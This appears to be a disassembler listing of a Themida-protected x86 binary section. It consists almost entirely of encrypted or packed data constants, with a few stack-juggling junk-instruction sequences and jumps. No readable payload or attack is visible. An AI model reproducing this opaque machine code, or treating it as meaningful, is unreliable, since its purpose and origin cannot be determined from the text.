dd 79F6C24Bh, 3, 112E1970h, 0E0CE4994h, 0CAF42380h, 0DBE7126Dh
dd 0A78B065Bh, 0B0BEF944h, 9DA5EC2Fh, 6B57C21Fh, 7678B70Ah
dd 5C68A7FCh, 81E78957h, 4C7h, 4EF8300h, 31243C33h, 3C33243Ch
dd 0F5685C24h, 89000033h, 968242Ch, 89000028h, 0EC81241Ch
dd 4, 0BB241C89h, 75E01415h, 0C105EBC1h, 0EB8107E3h, 0D19893B7h
dd 545BDD89h, 81241C8Bh, 4C4h, 18E56800h, 2C890000h, 8438F24h
dd 56241C8Bh, 0C681E689h, 4, 8704C683h, 8B5C2434h
db 2Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_502A84
; ---------------------------------------------------------------------------
db 41h
dd 0A5B8E929h, 305E7D1h, 99E0FFC5h, 0C10BABB4h, 0CB5BC3A5h
dd 874D7017h, 730B9B3Dh, 2F27321Dh, 2D674C9Dh, 584BDF4Bh
dd 4B720FF8h, 3F65E80Ah, 0FF1CE105h, 0EB485869h, 24h, 8 dup(0)
dd 0BDE900h
db 2 dup(0)
word_54AF42 dw 0B589h ; DATA XREF: Themida_:004EEAE4o
dd 5E7D262h, 0B9858Bh, 858B05E2h, 5E2311Dh, 0D2ACB58Dh
dd 858D05E7h, 5E5540Eh, 55C3D0FFh, 0E8h, 0ED815D00h, 5E7D2B2h
dd 0B9BD83h, 0F0105E2h, 2C85h, 62B5FF00h, 8B05E7D2h, 0E2311D85h
dd 27363505h, 0D0FF3481h, 850F013Ch, 0Ah, 1B8h, 47E900h
dd 0C0330000h, 40E9h, 8D1C6A00h, 0E7D266B5h, 0B5FF5605h
dd 5E7D262h, 311D858Bh, 363505E2h, 0FF348127h, 0CC483D0h
dd 0D266B58Dh, 468B05E7h, 4E08314h, 0F04F883h, 784h, 0E9C03300h
dd 5, 1B8h, 0B9BD8300h, 105E200h, 7850Fh, 0C35D0000h, 2E9h
dd 8DCF5D00h, 0E7D28B85h, 2D858905h, 0E905E20Eh, 98h, 94h
dd 5, 1, 0A28h, 2, 20h dup(0)
dd 690F12C9h, 0BBDE9h, 0D59A6800h, 14E905E7h, 68FFFAACh
dd 5E7D6C7h, 0FAAC0AE9h, 0D7D068FFh, 0E905E7h, 68FFFAACh
dd 5E7D865h, 0FAABF6E9h, 0D98568FFh, 0ECE905E7h, 68FFFAABh
dd 5E7D9E0h, 0FAABE2E9h, 0DCE768FFh, 0D8E905E7h, 68FFFAABh
dd 5E7DDFFh, 0FAABCEE9h, 0EAAE28FFh, 5D599DECh, 8408F0B1h
dd 0EEAC2B1Eh, 565C81E0h, 4B543348h, 0A3860C92h, 1D6C6A38h
dd 7237D3DFh, 0DB9B0785h, 6D4C0DAAh, 9885F9FFh, 0B3870E9h
dd 514DDEE7h, 58A3E9EEh, 0AEFCCA13h, 25D80239h, 446577AEh
dd 27D4DC1Dh, 9CC90299h, 8B11C609h, 0A3521594h, 0C31344E5h
dd 75C2FC18h, 9885B654h, 57236BEh, 18C08302h, 18A65594h
dd 167F488Dh, 1FAA240h, 0B099EC5Bh, 0F9FA2183h, 21444AB1h
dd 2B7236BEh, 4CB480CAh, 47CABA3Ch, 3FE6A78Ah, 4121h, 7B180500h
dd 0EE51D057h, 1647A6EAh, 18B90435h, 6F6CDDFCh, 2491DA21h
dd 10A9F5E5h, 0D1064891h, 62D901FAh, 0A1013E1Bh, 0D412F9FAh
dd 2B74A9E0h, 0C4DB3FE6h, 54000000h, 0ADC374D5h, 2512F9FAh
dd 696EA684h, 6499D823h, 86E5A354h, 828D1855h, 779614C3h
dd 7D7AE5C6h, 7465EC3Fh, 893FA836h, 0B7FC18BDh, 0EB5E4442h
dd 645DA8EEh, 0F354CBFFh, 1FAEE9Bh, 66517DCAh, 0B9BA1FF9h
dd 68F9FA8Ch, 6C28AC13h, 0E067DC19h, 1F592047h, 0FB6EC504h
dd 0CA7D43B8h, 0DD4C528Bh, 0DE51FB7Ch, 8C5D2AF7h, 0B1286B9Eh
dd 9ADB7CE3h, 4BF7DE51h, 7764EBFCh, 73C7CC29h, 2742FE7Dh
dd 9385Ch, 8602F400h, 0E9AD2918h, 505C9CEDh, 0BA00F74Ah
dd 0E2B02D1Ch, 17A84FE4h, 4F32D8E6h, 0A998068Ch, 1E636F33h
dd 0F37D3D9h, 6CE051F6h, 4C31F9FFh, 276D6E8Eh, 8F4706BBh
dd 4A8FB20Bh, 1898464Ch, 1D995D7Bh, 5618A1A0h, 8901FAD1h
dd 710E6BB2h, 43F9FAA1h, 70F30A98h, 6E03B89h, 56CC685Ch
dd 0A30CEDD1h, 0AC2A7EABh, 0EEEBAAD8h, 387533A2h, 0A3469BAFh
dd 10E53FE6h, 0D9000001h, 0A3E7EFAEh, 2EA2571Ah, 18B9C889h
dd 0F52219FCh, 0CCC43372h, 3154810Fh, 74FFF358h, 376C1ED7h
dd 97448F96h, 0BCF566C3h, 9237FC18h, 0FC18BCA1h, 0EA1F3B70h
dd 18BC0C4Dh, 316EC5FCh, 20D8A1C4h, 1CFC18B8h, 81B217DBh
dd 50FC18B3h, 8120AE1Bh, 74971DDEh, 7E7BE6C7h, 0F14ED38h
dd 0B3074891h, 6BDEFC18h, 92DB2270h, 0D079E825h, 1FAE046h
dd 5E6298E9h, 2E518ECFh, 7AFD29B9h, 0F0C94212h, 83C212Ah
dd 989AB019h, 0E766041Fh, 0DF181142h, 0F46BC0F7h, 0DF18E253h
dd 634433F7h, 96D94827h, 0CEB35F65h, 2B7A870Dh, 0EFE7CBAh
dd 80B187Bh, 2FA90000h, 0DA1A6F6Bh, 897130DEh, 2DA89905h
dd 0DD1E636Fh, 0D5BCCBD7h, 18D13C8h, 0EFEBB920h, 0B65C609Ah
dd 1A8006F3h, 0CD8E2B5Ah, 4F9FF6Fh, 39AEDD19h, 86204AFFh
dd 0D19029CCh, 2C686C2Ch, 20279CD9h, 0EB327861h, 0AE4E0FA8h
dd 0A887FC18h, 5D6CDA73h, 437D80FFh, 1CDDAC7Ah, 6E4A709Eh
dd 99D82369h, 0E0A45060h, 0DB9A2FABh, 0C40F9E1Ch, 0C5769513h
dd 0D9463F88h, 5EA52D29h, 0FC08A24Bh, 238697FEh, 0E067DC95h
dd 12C347h, 0BFFE6102h, 66D7703Eh, 64F9F0C8h, 9FDC2F75h
dd 0E72384F3h, 21D69988h, 0FBEC7F9Bh, 87F9F0C8h, 0F2B5B498h
dd 0EB60BB09h, 0F2B534D2h, 5F21BA06h, 382C312Dh, 0B26AA009h
dd 0D6AD0412h, 0CDF9B592h, 90BD842Bh, 0ACA8DBCh, 55F23D8Eh
dd 9E69BB79h, 7740DB90h, 800CCCEAh, 0E871F065h, 596D3267h
dd 9594C1BEh, 8BB8DE34h, 73A71A4h, 89159344h, 3C793FB8h
dd 5EE955EBh, 2583B4Eh, 0BE000007h, 13567C38h, 463BA7E3h
dd 0A1800E92h, 176A7036h, 8532D8E6h, 961CC1DEh, 0FCC23908h
dd 256993D6h, 890FC8B9h, 8720410Dh, 0F9FF6ED6h, 0AEC4060Fh
dd 6A7EBEFh, 61C6202Dh, 0FC18B9F0h, 6A1D4A21h, 8C59CDh
dd 2CA8EB02h, 0FD81D68h, 0E605709Bh, 5ABCC916h, 0BB3B7AEDh
dd 39AED3FFh, 0D3B8F3E7h, 303F88B1h, 924B0AC4h, 883A3B0Ch
dd 9CEBF9FFh, 0CC5DC427h, 488C80E1h, 9BBC394Ch, 0A0548D5Dh
dd 1F5481E4h, 505683CEh, 5CC4FE2Bh, 553C4904h, 66Dh, 0CDC9CD0Bh
dd 963C787Ch, 7F9B27D3h, 0C1CDCB0Ah, 0A9357B60h, 0B12A7312h
dd 5782E7E3h, 0FEFC4D49h, 0A45514B2h, 8DF4F8E6h, 0FF612B2Ch
dd 73BBFAF9h, 0A7EBEFAEh, 0FDB61744h, 4ACD7C50h, 1C5A43DDh
dd 4A513E2h, 416FBBh, 0B6A98602h, 2213B437h, 0F3F9F018h
dd 0BB3C2384h, 7BE6D1FDh, 0CE73D44Bh, 7F9F018h, 37B63928h
dd 0F018A192h, 223B70F9h, 0F9F01831h, 2B328BE0h, 0F018304Eh
dd 0CFA721F9h, 0ECB08558h, 392A3Fh, 32A70000h, 57C4BD4Fh
dd 0CFBB0C7Ah, 0D2557918h, 18B9C075h, 0DB2219FCh, 18B9C17Eh
dd 0A094D2FCh, 40FB469h, 111B3Ah, 15940000h, 18B183B4h
dd 0C4E552FCh, 1BE8EE6h, 0FB40000h, 6E42CF77h, 0C3D85EFBh
dd 296801FAh, 589DE8AEh, 0B3CF8029h, 2906F9FAh, 0CB3D0A90h
dd 21623D6Ch, 7C50FDAEh, 76766CCDh, 0A899B476h, 0D912692Fh
dd 0A3A0196Ch, 0E33F988Fh, 0ABA90E3h, 0F3E152F7h, 0EBEB3D4Ch
dd 9FD4A3AFh, 6A30A9E8h, 0DEDC1D6Ch, 0F0117251h, 56C3948h
dd 54Dh, 2DA9EDEBh, 0F61C985Ch, 5F7B47B3h, 21ADEBEAh, 89159B40h
dd 0D10A9372h, 7762C7C3h, 1EDCAD29h, 0C4357492h, 0ED14D8C6h
dd 0FF600B4Ch, 935BDAF9h, 0D823696Eh, 0DB4E62EFh, 7749CF58h
dd 0D72700F6h, 85266A90h, 0FA02723Ch, 38A69D01h, 0ED0A9049h
dd 4619AB8h, 0F287EEBBh, 8E000004h, 0E3464C48h, 562BB7F3h
dd 0B1F01EA2h, 0E75A4046h, 9522A8F6h, 662CD1EEh, 0CCD20978h
dd 357963C6h, 991FD8A9h, 9730717Dh, 0F9FF60A6h, 6EF4367Fh
dd 0BD3C2369h, 18B95B1Ch, 2CBD8AFCh, 3A9F1E01h, 0FC18B939h
dd 74A93E8h, 9816DED2h, 8ECF5E62h, 5E81E451h, 4B8A1197h
dd 0B1FD088Eh, 75B9FFF7h, 3B877534h, 7ECCB8A2h, 8D0C3379h
dd 7B820ECAh, 0B9E869F2h, 4239FC18h, 0BDCDA1Fh, 0FBC111Fh
dd 3D133A04h, 57000000h, 0D0577B18h, 0FAE9FB77h, 0C6251201h
dd 0FA89C479h, 0BD03F6F9h, 0AEF4E76Eh, 0B185275Fh, 89332485h
dd 95E2F9FAh, 0B68EC858h, 417F1F88h, 0E1DC26DCh, 586FA2D8h
dd 41DC3FE6h, 0E6000000h, 0D0577B18h, 0C8892E51h, 19FC18B9h
dd 0C1309922h, 1401FB05h, 6D69285Fh, 0AE24E5F5h, 0CF04AB9Bh
dd 0FAFFBEC3h, 0DBEC69BCh, 0FAFFFC72h, 8D0BCCF9h, 35A1E001h
dd 0EDE96871h, 0EEF352A9h, 0B000003h, 0D0577B18h, 0FAE4D377h
dd 0EE3D0A01h, 0D1347267h, 0D91BEBADh, 489190B4h, 418CF12h
dd 11507E35h, 6F2DA8E8h, 1B62DF1Ch, 5287A1AEh, 8B12965Eh
dd 0A9D81542h, 3E994A00h, 57B68D0Ah, 89F5C18Bh, 8B4C4A50h
dd 3CBFA286h, 0DC9D3ABDh, 75EDBED5h, 0D52C2D3Eh, 8EE5EDBEh
dd 0BE42D43Dh, 0E65D105Ch, 1D9B5C87h, 4E26208Eh, 0A2A58996h
dd 72567505h, 50D7AC16h, 0E06443C7h, 0EFF87A53h, 0B91463Bh
dd 68C71F0h, 159B4003h, 66523D2h, 2569F4D5h, 0B2279363h
dd 0C73275F4h, 46E3A2F9h, 0E1720015h, 0A13A77CCh, 796DF2E5h
dd 76F561C6h, 0A2371C90h, 0F4F83673h, 0C85E6F51h, 30A92873h
dd 311A56B6h, 0B4E19B5Ah, 0F7CF8951h, 0CD7C50FDh, 0C2CE0B4Ah
dd 0C2599612h, 63D73089h, 0BA22B687h, 7760C1CDh, 6E6BEA31h
dd 0B9F6B222h, 0DB355A1Dh, 36E7FD7Eh, 0E25F14D5h, 86FCDA7Fh
dd 581728D4h, 0C4CF64CDh, 0FEFDD308h, 0F1EA55B0h
dd 317F7CA3h, 4D0EABEAh, 84D308C4h, 61551FAFh, 774F891Fh
dd 494F88CBh, 1A20B932h, 69148CC7h, 3564h, 7B185E00h, 0C777D057h
dd 501FAD1h, 0F7169242h, 79D6E69Ah, 69A69429h, 0CA7DCA50h
dd 3D484E8Bh, 3B042FB8h, 0F9FAF606h, 0ACE3D315h, 3FE66271h
dd 0E4DEh, 0EFAEE000h, 1744A7EBh, 424E8BB6h, 0D3D91E98h
dd 93D22966h, 9EC1246Ah, 1FA35959h, 0DD184F8Ch, 181B62DFh
dd 0B93F3099h, 99D6FC18h, 0D8D80140h, 0A5219E22h, 33248504h
dd 0E2FC18B9h, 0DDEB3495h, 2BFC18BDh, 0BF40E4BEh, 912AA6A9h
dd 676329AEh, 1DDDD502h, 0F47DFE5Bh, 0DF94FC18h, 19D63562h
dd 4D848C74h, 8568C23Bh, 1342582h, 96EDFC18h, 2DB12659h
dd 3EB26ED5h, 60C94891h, 1FA75BEh, 7B7C9AD1h, 0EA4FF2D6h
dd 41FACB4h, 0BEE160DFh, 166B773Dh, 6552DFE5h, 14FE7CE8h
dd 1EB2E71h, 4F890000h, 0FAFA4F4Bh, 0A95110BEh, 4D88F9E5h
dd 0FDFE434Fh, 0F59C2BB7h, 616D33A8h, 0CFCBD900h, 963C807Ah
dd 7A6026D3h, 0ADAE0B7Ah, 64F9FF65h, 6D6EFD39h, 18A12027h
dd 0FC18B957h, 7228B18Eh, 0C6CCCA0Fh, 577B1818h, 226891D0h
dd 0D4971699h, 41E69927h, 0FC18B910h, 8516AC1h, 1FAD146h
dd 6331A899h, 0F58AD736h, 0E6F9FAA1h, 0C01D9460h, 6F3FE62Bh
dd 0EAh, 0E9696E53h, 12692FA6h, 0B9CF80D9h, 2906FC18h
dd 0B526A9FCh, 76F978EFh, 18B960D1h, 61FAB1FCh, 0FC18B9F0h
dd 0EA714A21h, 18BD7B8Dh, 911089FCh, 46FC20Dh, 5780CF18h
dd 3F4B551h, 0BC3F6685h, 18565A1Bh, 2BBC8BFCh, 6619CD52h
dd 0FA38C1C1h, 7FE86B01h, 0F152FDC5h, 0B0A1BA1Bh, 6CF9FBBCh
dd 99270260h, 370C0A5Ch, 9F3B7096h, 0EC93B7DCh, 1EEC344Bh
dd 0FA8D904h, 0F7D08C4Eh, 7D79A887h, 3C69E239h, 3914A0Dh
dd 46E36287h, 0F7D08C15h, 0EB5677CCh, 8247ACF2h, 15FE7C24h
dd 0D31170h, 67910000h, 12C2A723h, 0C1390896h, 6590D1FDh
dd 15C6BB27h, 0DF4038Fh, 59454BB0h, 27A3F1E8h, 8E149842h
dd 52783EBBh, 85B61392h, 5CF9FF64h, 6D6E15D1h, 7B612027h
dd 85F2C03Dh, 517CFA94h, 815A79D5h, 7533A485h, 696E6369h
dd 6099D823h, 8A0DBC5Ah, 18B92C2Dh, 0F3B93EFCh, 422723A8h
dd 46F71692h, 5AC7B009h, 0CC56F376h, 0C702008Dh, 25D21D68h
dd 405CDBBBh, 2F6408F7h, 9319DEA3h, 751B2F08h, 67EA6CE6h
dd 329F5DF2h, 3F62ADD9h, 21AAF1BDh, 98E6DE98h, 0CCBD595Fh
dd 1B9A8D0Bh, 0C8CFBDBEh, 0C9E2598Eh, 0A3713405h, 54FFC8A7h
dd 34A6EAEDh, 63D81D68h, 0C0B4BE18h, 9B078572h, 3CFEF166h
dd 8301FC11h, 0C4C2373Ah, 3DEA1h, 0A7E40000h, 2C686E9Dh
dd 5B6196D9h, 575B81C0h, 404E8D34h, 7341BA25h, 6E34A928h
dd 9B21D41Fh, 9519C100h, 8307CF76h, 8952F278h, 4C281E2h
dd 83000000h, 148704EAh, 24248B24h, 81E68956h, 4C6h, 4EE8100h
dd 87000000h, 895C2434h, 0A6682414h, 89000033h, 68502404h
dd 7B071718h, 1DBF5758h, 811DE52Eh, 1004BAEFh, 0E7814F05h
dd 46613992h, 8106E7C1h, 0E34909F7h, 0DAEF8118h, 9C4AEE1h
dd 0E0C15FF8h, 164E0503h, 0C28925EEh, 48B5458h, 4C48324h
dd 24048152h, 6ABE5C66h, 5708408Fh, 0BE5C66BFh, 878296Ah
dd 24048B5Fh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_4F5CCB
; ---------------------------------------------------------------------------
dd 963FECB0h, 96839625h, 9E592AC1h, 0F7B8CAACh, 305E7DEh
dd 49E0FFC5h, 482F2E26h, 6173F93Ch, 8F317070h, 346CBF33h
dd 0A77F40B2h, 267488F2h, 615F0EE8h, 0FD00E38Ah, 0DB542E41h
dd 556CACCBh, 0C7351BFh, 4511A714h, 0F0490098h, 0FC33FE18h
dd 0B5407CF5h, 0DC402E18h, 0F46E58E4h, 0E42043B9h, 0D6639171h
dd 144C4AB3h, 493132EFh, 4A0902BCh, 57AE33Eh, 0C63A17D2h
dd 116E11EEh, 7E7AD3DAh, 690684B2h, 307F279Ah, 0E85392E4h
dd 14h, 2EFAD41Eh, 0CBA4D002h, 0A5A7C958h, 0BD87A51Fh
dd 0D4A839F8h, 0FE9h, 31F1300h, 3C58FF8h, 0B1C3801Eh, 0A4A79217h
dd 0C281FC5Ah, 5FC8h, 2BD98B66h, 0B5CB80F6h, 661634FFh
dd 5F6504B9h, 0F781E7B0h, 8F0B1DAh, 0FE9h, 7587AD00h, 9A0D650Ch
dd 0A6111E62h, 0AAD0C869h, 63E4EF81h, 0B96633E1h, 0F7819C09h
dd 62F1492Ch, 57DBB70Fh, 8FDE8B66h, 0F1813204h, 618BEC90h
dd 8325E880h, 8C0F01EEh, 12h, 0DE9h, 0C6F53600h, 4BBD0001h
dd 0C73A4DA2h, 4E4E0D11h, 38E0F4Eh, 0F000000h, 0FE81C0BFh
dd 0FFFFA0F8h, 0FF86850Fh, 810FFFFFh, 0Ch, 6820Fh, 0F1810000h
dd 752AF0B3h, 0E1C48D8Dh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 0EB187EC3h, 8D896939h
dd 5E20BE9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 7EC35646h, 0CF29150h, 68D0Fh, 85890000h, 5E21D99h
dd 76185C7h, 667005E2h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 150424h, 51410000h, 0FCC7F4C3h, 16880Fh
dd 11E90000h, 0F6000000h, 0AAC45CEFh, 0AE47FF1Dh, 2F567EF4h
dd 54A55A76h, 1B5585C7h, 5E2h, 0B5290000h, 5E22689h, 1DF1B5FFh
dd 0BD2905E2h, 5E21D85h, 0B1595FFh, 0BD8B05E2h, 5E2070Dh
dd 95FF006Ah, 5E20AB9h, 4DEBC08Bh, 8692A4E9h, 25646318h
dd 0A8FDDC4Ch, 0F8AFAF8h, 4726F596h, 107B5DDFh, 0DD0F970Dh
dd 4D70DE3Ch, 4D371E90h, 0A7C15D7Dh, 308C602Dh, 8AC60CC0h
dd 0FBB73503h, 3F3F8BB0h, 9A63143h, 9EBE2763h, 8C212EABh
dd 19641703h, 3B1720AFh, 0EF08EB9Ah, 3F1AE8h, 0E9023C00h
dd 0C99h, 0E7E3BD68h, 6B9EE905h, 0ED68FFFBh, 0E905E7E4h
dd 0FFFB6B94h, 0E7E67368h, 6B8AE905h, 2168FFFBh, 0E905E7E7h
dd 0FFFB6B80h, 0E7E7E268h, 6B76E905h, 0D68FFFBh, 0E905E7EAh
dd 0FFFB6B6Ch, 0E7EAC468h, 6B62E905h, 2668FFFBh, 0E905E7ECh
dd 0FFFB6B58h, 0E7ED2168h, 6B4EE905h, 136EFFFBh, 0DD59A9C8h
dd 0A001E180h, 68C43A5Dh, 298A741Bh, 0A6D9B3D6h, 2B4E9112h
dd 670A57D7h, 0BEC11C9Bh, 0FC83E040h, 9467FA96h, 99A005D1h
dd 8F11C0BBh, 79FBC732h, 7DE10524h, 28846A06h, 0A18F5CDBh
dd 0D2287489h, 6043ABCFh, 949D5A29h, 1394A00Bh, 26141C8h
dd 949E59F4h, 0A083A00Bh, 0D56C54C3h, 0C4BDF92Fh, 0F279B540h
dd 8E2683E8h, 0B9C8873h, 0E2CEADA0h, 3576h, 294D7900h
dd 40AEC652h, 4C159CDFh, 545AD547h, 6C4429C2h, 0CF9427D1h
dd 0EE290AABh, 0B63E493h, 1AAE9BA0h, 0E8C5535Bh, 82FEC083h
dd 7D1F23Dh, 0EE53h, 8F116400h, 15ADC732h, 0EDB3FFF8h
dd 694724A5h, 5ED92487h, 44B31090h, 8BA5FA7Ah, 82A0FF44h
dd 4E30D14Dh, 0A4C593F0h, 0ED9F3709h, 0CF1494A5h, 94D656A8h
dd 0A9E0C51Ah, 0CA8691D5h, 20F1CBACh, 2C41EFCCh, 0ABCF6AA4h
dd 9435B17Fh, 0CC231BFEh, 422EF391h, 0EAC8FD62h, 0EC251Fh
dd 69CA1523h, 0E0143893h, 94365721h, 801D3B50h, 0A5EF80EDh
dd 932B4526h, 1B15E67Bh, 391A9A26h, 0B30E915Fh, 8ED152ACh
dd 5093B81Fh, 0B4ED0C7Ch, 0A6Ah, 6B0E51ACh, 0A3C61B97h
dd 0FC83DE5Fh, 3659A602h, 751467C8h, 0CF50E41Bh, 9515ED8Ch
dd 5AD92948h, 1E9E6007h, 0BCD4BEC1h, 5D05621h, 0EF9DBA0h
dd 0CE2E8E11h, 0B3D4A73Ah, 7A59A5EDh, 64491A95h, 267BFDC5h
dd 4374C50Ah, 1B694433h, 5B842C3Dh, 0E8557256h, 0ED92B39Eh
dd 0F762CC28h, 4DBA7D5Bh, 0AEC65229h, 0A0F3E121h, 65337212h
dd 0CF0330C8h, 9910F3ABh, 0AD3ED8Ah, 75CA24A0h, 2EBA343Ah
dd 0AD3E893h, 896E4DA0h, 13A9800Eh, 24D8911Dh, 0E8355D51h
dd 0D40683h, 11C90000h, 0ADC7328Fh, 0A89AE743h, 5927F14Eh
dd 0CB1896D6h, 0FE9A7F4Ch, 0B330CB66h, 0BF5A5EDh, 0BD857AAh
dd 0B9D34A26h, 50EDFB77h, 0A5EDB3A7h, 0EECAAF8Ch, 0EDB87153h
dd 0CEDA5AA5h, 0EDAEC8B3h, 0A98E6DA5h, 0FDE16E86h, 377D3C1Ah
dd 36B67850h, 98DCAEE9h, 983855E3h, 4BABCF61h, 81FEC068h
dd 98E3443Eh, 0C5644C11h, 0DB5B3DA1h, 553A0B86h, 0AEBAA63Bh
dd 5635A5EFh, 2873F43Ah, 9960EF09h, 0FA47A902h, 0EB9F5869h
dd 7DC0230Dh, 505FB12Eh, 0D996E37Ch, 93Ah, 1B3E81FCh, 53F64BA7h
dd 0ACB30E6Fh, 0E689D652h, 25449718h, 0FF60D44Bh, 0C5259DBCh
dd 8AE9D978h, 4EAE1037h, 6C046EF1h, 5D026D1h, 5E290BA0h
dd 2C338E11h, 60BB3A84h, 0F946A688h, 8F116156h, 772CF2Fh
dd 0E8D64126h, 79C62688h, 0D51F594h, 0B947DA76h, 3CABCFC9h
dd 432D72F2h, 29098063h, 0BA0767C7h, 821AB2D5h, 0B9D8C6Fh
dd 0D32E8FA0h, 89A187A4h, 0B9D8374h, 0E6CBA8A0h, 62C4240Ah
dd 5FDABF04h, 2F22ADC5h, 6C7D6EB9h, 0FDE295B8h, 0D859A00Ah
dd 57390A85h, 13819C74h, 0E5275121h, 0BD3FF68Ah, 69A0FD7Dh
dd 0B8D07754h, 3ABBF976h, 0B69BA8E7h, 637624ADh, 8C6421D9h
dd 0B2FD42A2h, 0C4BC19DFh, 419E1A18h, 308BE8D6h, 4CF069F9h
dd 49FF4AD4h, 72156ACAh, 58D72C8Ch, 0C4BB2BC5h, 16D87018h
dd 0FB7A4497h, 7C5469A0h, 74F43FC5h, 36B6082Fh, 9A374FE9h
dd 18C4BBE1h, 128B6546h, 0EA35B47Ah, 83F87C0Eh, 0D49C58F5h
dd 0A4871EA6h, 86FD6185h, 0CF3D65EAh, 0EFA2F84h, 0B9F70A22h
dd 9C18C474h, 38ED152h, 95765622h, 69B435FBh, 403B562Eh
dd 0E50D0073h, 0DE572106h, 73B543h, 0E99FCA0Dh, 0DDD1226Ah
dd 4B9C3F0h, 42140000h, 0A5EDB3B9h, 0EDC34433h, 0D75799A5h
dd 523E0F8Ah, 0EDA7203Fh, 0CD2B95A5h, 0EE859870h, 79A5ED9Fh
dd 5FF29EF5h, 0ABCFC5F9h, 559407E4h, 93766B35h, 7B42966h
dd 7620000h, 0D12D95B4h, 9415ED8Ch, 5CD82649h, 1D9E6007h
dd 5AD5BFC2h, 2F328DEEh, 6B0E53D3h, 0A2C51897h, 0E087DC5Ch
dd 9863FE8Ah, 9DA005CDh, 8F11CCBFh, 738E2632h, 0A5EDB388h
dd 0ABE2CEADh, 50F893DBh, 0D595523Dh, 52407ABh, 7AE20D36h
dd 80C9617Dh, 0D0B51CD8h, 5B9725B8h, 0F55AA5E8h, 46BA087Bh
dd 6D3D1B7Ah, 0B703168Eh, 0B64985AFh, 37F8831Eh, 5E3DEAC3h
dd 0F78CD072h, 4040C459h, 280BF0A5h, 22599DE1h, 67E9FB16h
dd 221CEAC3h, 13307FC4h, 5CDC224Eh, 1E9E6007h, 1B834CBDh
dd 3A1F7240h, 77438AE3h, 0A47B237h, 706h, 0C76AB530h, 1F227FFBh
dd 58FF42A3h, 92B50A66h, 0D170CB2Ch, 3BBC0887h, 16141E0h
dd 0C6259DBCh, 8AEAD47Bh, 20381235h, 5CCEA8Dh, 9A6D4FA0h
dd 0E02E294Dh, 58CAA1B7h, 0E57810F5h, 0ABCF6817h, 0D9273112h
dd 0B88D0459h, 179959D0h, 6BC64FCAh, 0BCDA02D5h, 7018FD42h
dd 0ED521FDDh, 0A73A52A5h, 9A2925D4h, 0B395E847h, 4B28F8D0h
dd 25EA8924h, 817A9A29h, 0E49A2925h, 47E4080h, 0C05370BFh
dd 9A292537h
dd 59A602FCh, 4B280DDEh, 7FF902Dh, 841CA011h, 41438E69h
dd 0D8B09394h, 94EC2B08h, 0C176C24Bh, 6C44E379h, 40D929D1h
dd 0D8AD4594h, 2629440h, 0D60F6EBDh, 0F4058235h, 645BBh
dd 2B76F300h, 0E340BA04h, 0B803625Ch, 76CB2999h, 318CEFD3h
dd 7DC9462Eh, 3E80A7FAh, 0E2DC63C0h, 0AB173A85h, 0F955F449h
dd 0CC2BCC61h, 12F0A005h, 52294D59h, 257AF8C6h, 67FFD9EAh
dd 3F7FE1CFh, 142960BDh, 4BC45937h, 48ABD595h, 8AA08707h
dd 6632813Fh, 446AA586h, 50F89FE4h, 0F0B20D6Eh, 3D4F2976h
dd 4CB2DEBDh, 476493F0h, 96583069h, 1EFC916h, 9EE35F9Fh
dd 8DD02F13h, 7F5C2102h, 0F14EB0D8h, 0DAAF48E5h, 9774A005h
dd 0CA6647B2h, 5DAC4B7h, 0AE8A69A0h, 940360C0h, 5BF54AAAh
dd 4FCA1795h, 571B927Eh, 270B86DBh, 643E79C4h, 41C157EDh
dd 5FC154E8h, 0EBD57F02h, 0E8FD3489h, 3C2E7E00h, 5EB83E3h
dd 0E5715FA2h, 1A6h, 0FA7947EAh, 7D5B68A7h, 640C87EFh
dd 0C55883CCh, 0C3A7EC5Bh, 0ECC1C7B0h, 16926CA5h, 740CE4C9h
dd 0CEDB1BD9h, 0EA2506ABh, 0AA8E297h, 8AD755A0h, 7CC1230Fh
dd 5CE05935h, 59EF5AC4h, 0BC9E438Ch, 0AEA1D31Dh, 473CA0C2h
dd 0E4E09429h, 0DC03A5EBh, 5696C513h, 7FC43EC6h, 624E1330h
dd 209EA182h, 0BDD563C0h, 27975720h, 11FFDC9Ah, 0C13E8098h
dd 4612337Eh, 84ABF878h, 0EB85FE66h, 0B30E6D53h, 0F4896744h
dd 0A009B6A8h, 748E0C3h, 5FF2C8BEh, 9445409Ch, 64A1A281h
dd 9DE24221h, 846C3112h, 0A81760Dh, 4D049445h, 67F03CB7h
dd 4C917822h, 26000000h, 0C652294Dh, 2D4E0B99h, 0ED1FE790h
dd 0F66F4CA5h, 0DFB9289Ch, 34522A47h, 0F6D5ABCFh, 50FE4BBh
dd 0A802A00Bh, 2944DC5Bh, 0A00B044Eh, 0B20EF0D3h, 1148226Dh
dd 79B56Bh, 0A301EF7Ch, 26F2D35Eh, 0E8661418h, 9FBD83h
dd 11020000h, 0FBC7328Fh, 0C4EA2578h, 58A30264h, 0B2323C7Bh
dd 9DA7CA6Dh, 58A5EDB8h, 57D41696h, 0DBB88D04h, 0DFA18F5Ch
dd 0DD61005Dh, 3B56E299h, 0ABD25EA3h, 8847A40Ah, 19887589h
dd 0A9876449h, 905EFAD9h, 5AA4CC0Fh, 0C11C9BD9h, 0B8907556h
dd 8BD659A9h, 6D8BEF10h, 0C7B8F176h, 41Ah, 3B5EA11Ch, 73166BC7h
dd 4CD32E8Fh, 86A9F672h, 0C564B738h, 1F80346Bh, 0E545BDDCh
dd 0AA09F998h, 6ECE3057h, 0C240E11h, 5CA06F1h, 7E492BA0h
dd 0E5788E11h, 0A5EDB412h, 30573417h, 0E116ECEh, 328F11B9h
dd 2479FBC7h, 0B542B405h, 2FA5EE33h, 0A5ED3348h, 0C8294F97h
dd 33D8A33Eh, 7E5DA5EDh, 49CB499h, 33A651ECh, 0B58BA5EDh
dd 82A3EE33h, 0D5BED3BDh, 8AABD515h, 27408FA9h, 40EF7A8Fh
dd 0E09B3642h, 45A0052Ah, 73138A66h, 65F890EBh, 0A5E73013h
dd 0CD12905Eh, 0D66B03E3h, 9A232525h, 2CCF620Ah, 0F19A2324h
